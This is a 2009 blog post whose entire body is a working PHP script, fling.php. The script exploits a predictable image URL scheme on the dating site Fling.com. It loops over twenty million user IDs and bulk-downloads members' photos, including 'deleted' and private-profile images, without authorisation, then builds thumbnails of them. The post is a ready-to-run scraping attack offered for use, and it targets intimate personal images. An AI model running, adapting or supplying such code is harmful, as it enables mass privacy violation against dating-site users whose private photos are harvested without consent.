Friday, September 25, 2009

Download all user images (even "deleted" images) from Fling.com


///////////////////////////////////////////////////////////////////////////////
// fling.php
//
// exploit stupid image storage url scheme to download all pictures of users
// without membership, adding "discrete profiles" as friends, etc.
//
// version 0.1 - 11 sep 09 - written by lazy - provided "as is"
//
///////////////////////////////////////////////////////////////////////////////


/* fling_curl_file_exists($url)
* url - url to test if file exists
*
* test if $url exists
*
* returns true if file exists (HTTP code 200), otherwise false
*/
function fling_curl_file_exists($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20090824 Firefox/3.5.3');
$data = curl_exec($ch);
curl_close($ch);
preg_match_all("/HTTP\/1\.[1|0]\s(\d{3})/",$data,$matches);
$code = end($matches[1]);
return ($code != 200 || !$data) ? false : true;
}


/* fling_curl_download_file($url, $savePath = '')
* url - file to download
* savePath - local path to which file should be saved
* if not specified: working dir
* if working dir is not writable: system temp dir
*
* download a file from specified url. local file name is same as remote filename,
* i.e. http://example.com/foo.jpg will be saved as foo.jpg in the $savePath
*
* returns filesize of saved file on success, otherwise a string with error message
*/
function fling_curl_download_file($url, $savePath = '') {
/* verify url is a string */
if(!$url)
return "error: no url";

/* ensure we can save the file */
if(!$savePath) {
if(!is_writable(getcwd()))
$savePath = sys_get_temp_dir();
else
$savePath = getcwd();
}
if(!is_writable($savePath))
return "error: cannot write to $savePath";
if(!chdir($savePath))
return "error: cannot access $savePath";

/* ensure the file doesn't exist */
$file = basename($url);
if(file_exists($file))
return "error: file already exists named $file";

/* prepare to write */
if(($out = fopen($file, 'w+b')) == false)
return "error: cannot write to file $file";

/* use curl to get the file */
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_FILE, $out);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20090824 Firefox/3.5.3');
if(curl_exec($ch) == false)
return "error: curl error: ".curl_error($ch);

/* if we made it this far, clean up - we had no errors */
curl_close($ch);
fclose($out);
return filesize($file);
}


/* fling_get_pic($userId, $picNumber)
* userId - user id on site (numeric value)
* picNumber - single digit
*
* checks for http errors before attempting to download picNumber image of userId
*
* returns true on success, otherwise a string with error message
*/
function fling_get_pic($userId, $picNumber) {
/* pics are numbered 0-9 -- don't waste time if it's wrong */
if(strlen($picNumber) != 1)
return "error: pic number out of range - $picNumber";

/* build the image url string */
$userIdPath = substr($userId,0,(strlen($userId)-3));
$url = "http://cachecdn.fling.com/user-images/".$userIdPath."/".$userId."-L-".$picNumber.".jpg";

/* check if the file exists */
if(fling_curl_file_exists($url)) {
/* try to download the file */
return fling_curl_download_file($url);
} else {
return "error: file does not exist at $url";
}
}


/* generate_thumb($file, $new_path, $new_w, $new_h)
* file - source image
* new_path - path to place thumbnail (using name name as file)
* new_w - new width
* new_h - new height
*
* generate thumbnail for image
*
* returns true on success, false on failure
*/
function generate_thumb($file, $new_path, $new_w, $new_h) {
$img_prop = GetImageSize($file);
if (!$img_prop[2] == 2)
return false;

$filename = basename($file);
$ext = substr(strrchr($file, "."), 1);
if(strtolower($ext) == "jpg" || strtolower($ext) == "jpeg")
$img_src = ImageCreateFromJPEG($file);
elseif(strtolower($ext) == "gif")
$img_src = ImageCreateFromGIF($file);
elseif(strtolower($ext) == "png")
$img_src = ImageCreateFromPNG($file);
else
return false;

$src_x = ImageSX($img_src);
$src_y = ImageSY($img_src);

if ($src_x > $src_y) {
$thumb_w=$new_w;
$thumb_h=$src_y*($new_h/$src_x);
$use_x = false;
} else if ($src_x < $src_y) {
$thumb_w=$src_x*($new_w/$src_y);
$thumb_h=$new_h;
$use_x = true;
} else {
$thumb_w=$new_w;
$thumb_h=$new_h;
$use_x = false;
}

$img_dst = imagecreatetruecolor($new_w, $new_h);
imagefill($img_dst, 0, 0, imagecolorallocate($img_dst, 255, 255, 255));

if($use_x)
imagecopyresampled($img_dst, $img_src, $new_w/2 - $thumb_w/2, $new_h/2 - $thumb_h/2, 0, 0, $thumb_w, $thumb_h, $src_x, $src_y);
else
imagecopyresampled($img_dst, $img_src, $new_w/2 - $thumb_w/2, $new_h/2 - $thumb_h/2, 0, 0, $thumb_w, $thumb_h, $src_x, $src_y);

return ImageJPEG($img_dst,$new_path.$filename);
}

/* fling_main($maxDataToDownload)
* maxDataToDownload - save as many bytes as specified by this value before quitting
* default is 100 MB
*
* iterate through possible userIds and picNumbers trying to download pics
*
* returns nothing; outputs results to stdout
*/
function fling_main($maxDataToDownload = 107374182400) {
$byteCounter = 0;
$fileCounter = 0;

$thumbDir = 'thumbs/';

/* make sure we can use $thumbDir if specified */
if(!file_exists($thumbDir)) {
if(!mkdir($thumbDir)) {
echo "error: $thumbDir does not exist and could not be created\n";
echo "warning: proceeding w/o ability to make thumbnails\n\n";
$thumbDir = '';
}
}
if(!is_writable($thumbDir)) {
echo "error: $thumbDir is not writable\n";
echo "warning: proceeding w/o ability to make thumbnails\n\n";
$thumbDir = '';
}

/* iterate userIds */
for($userId = 10000000; $userId < 30000000; $userId++) {
/* iterate picNumbers */
for($picNumber = 0; $picNumber < 10; $picNumber++) {
/* try to fetch a picture for current userId and picNumber */
$ret = fling_get_pic($userId, $picNumber);

/* if we hit a 404, the user has no [more] pics; so, don't waste time */
if(strstr($ret, "file does not exist"))
break;

/* increment byte and file counters */
if(is_numeric($ret)) {
$byteCounter += $ret;
$fileCounter++;

/* make thumbnail if necessary */
if($thumbDir != '') {
$file = $userId."-L-".$picNumber.".jpg";
if(!generate_thumb($file, $thumbDir, 96, 96))
echo "error: could not create thumb for $file\n";
}

echo "Downloaded $fileCounter files ($byteCounter bytes)...\r";
} else
echo "$ret ($userId-$picNumber)\n";
}
}
echo "Downloaded $fileCounter files ($byteCounter bytes)\n";
echo "Final userId processed was $userId\n";
}


/*
* entry point
*/
fling_main();